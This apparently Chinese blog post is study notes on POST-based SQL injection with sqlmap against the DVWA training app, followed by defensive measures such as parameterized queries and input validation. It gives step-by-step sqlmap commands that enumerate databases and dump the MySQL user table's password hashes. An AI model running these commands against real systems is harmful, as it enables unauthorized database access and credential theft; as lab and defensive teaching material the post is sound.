利用sqlmap进行post注入学习笔记

文章介绍了SQL注入工具sqlmap的使用,包括通过POST请求进行注入的步骤,以及如何防止POST注入。防御策略包括权限区分、使用参数化语句、输入验证和利用数据库自带的安全参数等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

了解sqlmap

sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。

POST注入形成原因

1.在登录处,用于判断用户名、密码会使用select语句;

2.在修改密码处,更新密码,会使用到update语句;

3.在商城系统中,订单的添加,删除,可能会使用到insert,delete语句;

登录是执行POST请求,与GET请求不同,传给服务器的值不会再URL中出现了,而是在请求体里,当服务器拿到请求体的数据,再执行SQL语句,查询是否存在用户输入的用户名和密码。

传入参数,服务器解析参数之后,完整闭合SQL语句,构造万能密码成功登陆。

POST注入也属于SQL注入,所以究其原因还是由于参数没有过滤导致的。源码如下:

使用sqlmap进行POST注入

进入DVWA,选择Brute Force选项,username和password随便输入,然后打开burpsuite,设置好本地代理,进行抓包。

将抓到的包保存为1.txt,并放到c盘根目录下。

打开sqlmap。第一步:列出数据库:

sqlmap.py -r c:\1.txt -p username --dbs

-r表示加载一个文件,-p指定参数

第二步:猜表:选择一个数据库进行猜表:

sqlmap.py -r c:\1.txt-p username -D mysql --tables

-D表示数据库;-T表示表;-C表示列

第三步:猜列:

sqlmap.py -r c:\1.txt-p username -D mysql -T user--columns

第四步:得到数据:

sqlmap.py -r c:\1.txt -p username -D mysql -T user -C“User,Password” --dump

此时就得到了root用户的密码哈希值,接下来解密就行。

如何防止POST注入?

权限区分:

普通用户与系统管理员用户的权限要有严格的区分。由于Drop 语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用 SQL 语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。

使用参数化语句:

如果在编写 SQL 语句的时候,用户输入的变量不是直接嵌入到 SQL 语句,而是通过参数来传递这个变量的话,那么就可以有效的防治 SQL 注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到 SQL 语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。采用这种措施,可以杜绝大部分的 SQL 注入式攻击。

对用户的输入进行验证:

通过测试类型、长度、格式和范围来验证用户输入,过滤用户输入的内容。这是防止 SQL 注入式攻击的常见并且行之有效的措施。防治 SQL 注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在 SQLServer 数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL 注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。

多使用数据库自带的安全参数:

为了减少注入式攻击对于 SQLServer 数据库的不良影响,在 SQLServer 数据库专门设计了相对安全的 SQL 参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的 SQL 注入式攻击。如在 SQL Server 数据库中提供了 Parameters 集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了 Parameters 这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。

多层环境防止 SQL 注入:

在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。

设置陷阱账号:

设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。

### 使用 sqlmap 工具进行 POST 注入漏洞扫描 为了使用 `sqlmap` 对基于 POST 请求的应用程序进行 SQL 注入测试,可以通过指定请求文件的方式来实现。具体操作方法如下: 对于需要通过 POST 方法提交表单数据的情况,先准备好包含 HTTP 请求头以及 POST 数据的文本文件(例如命名为 `request.txt`),该文件的内容应模拟浏览器发送给服务器的实际请求。 假设有一个登录页面接受两个字段:“username” 和 “password”。那么准备好的 `request.txt` 文件可能看起来像这样[^5]: ``` POST /login.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded Content-Length: 32 username=test&password=test ``` 接着运行带有 `-r` 参数的命令来加载这个保存了完整HTTP请求的消息体文件,并让 `sqlmap` 自动检测是否存在SQL注入的可能性并尝试进一步利用它。完整的命令行指令可能是这样的: ```bash sqlmap -r request.txt --batch ``` 如果希望更精确地控制哪些部分作为潜在可注入点,则可以在上述基础上增加额外选项如 `--data` 来显式指明要测试的具体参数[^1]。 另外,在某些情况下还需要提供认证凭证以便能够访问受保护资源。这时可以借助于 `--auth-cred` 及其他相关联的身份验证配置项完成身份验证过程[^3]。 最后提醒一点,执行任何类型的渗透测试之前都应当获得目标系统的合法授权许可,非法入侵他人计算机信息系统属于违法行为!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜之王。

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值